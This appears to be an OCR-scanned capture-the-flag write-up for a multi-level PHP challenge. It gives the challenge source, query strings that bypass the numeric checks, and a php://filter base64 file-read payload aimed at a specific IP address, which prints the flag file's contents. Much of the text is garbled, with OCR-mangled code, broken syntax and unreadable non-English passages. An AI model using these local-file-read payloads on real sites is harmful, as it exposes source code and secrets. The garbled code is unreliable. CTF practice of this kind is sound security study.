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highlight_file(_FILE__

if(isset ($_GET['demol1'])){
echo "level 1<br>";
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LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL

URL
http://121.43.27.97:20086/?demo1=010574&demo2=010574&demo3=010574&demo4=010574
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IT($TIagZ)}

1f(isset($_GET['demo3'])){
echo "level 3 <br>";

$demo3 = $_GET['demo3'];

if($demo3==4476){
die("ilAZlevel 304")

}

if(preg_match("/[a-z]|\./1", $demo3)){
die("HiLyET");

}

if(!strpos($demo3, "0"))({
die("fr4n fr4n fr4gmrit");

}

if(intval($demo3,0)===4476){
$flag3=True;

}
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LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~

URL
http://121.43.27.97:20086/7?demo1=010574&demo2=018574&demo3=+810574

6.4% FRIJG—3%, EEPOSTIEZf=hynuctfikal AT



X AT P — R EphpHHOFIFALSEZ A P A8 FH 25 1Y
stripostiR [FIORFRFAF R TE LR R, IR [FlfalsefRREA HE]

if($flag3){

if(isset($_POST['T']1)){

$f = $_POST['f'];

echo "level 4 <br>";

if(preg_match('/.+?hynuctf/is', $f)){
die('FFE!");

}

if(stripos($f, 'hynuctf') === FALSE){
die('MNM7!!");

}

$flagd=True;

i)

y level 1
level 2
level 3
level 4

w ODzsx Dete DwEs N g (Ialpes Oue Onr T TeERE B e 88

LOAD ~ SPLIT EXECUTE TEST ~ sQLl - XSS ~ LFI ~ SSRF ~ SSTI

URL
http://121.43.27.97:20086/?demo1=010574&demo2=010574&demo3=+010574

enctype

@@ Use POST method application/x-www-form-urlencoded

Body

f=hynuctf
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if($flagd){
1f(isset($_GET['u'])){
if($_GET['u']=="flag.php'){
die("AMTHK! ") ;
telse(
highlight_file($_GET['u']);

}

8. E#E MM, ieHXflag.php

payload: php://filter/read=convert.base64-
encode/resource=flag.php
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http://121.43.27.97:20086/?demo1=010574&demo2=0108574&demo3=+010574&u=php://filter/read=convert.base64-encode/resource=flag.php

o.M 132 flag

<?php
$flag = "flag{1902df71-cf6a-4491-9927-a9087d3a29d0}";
7>



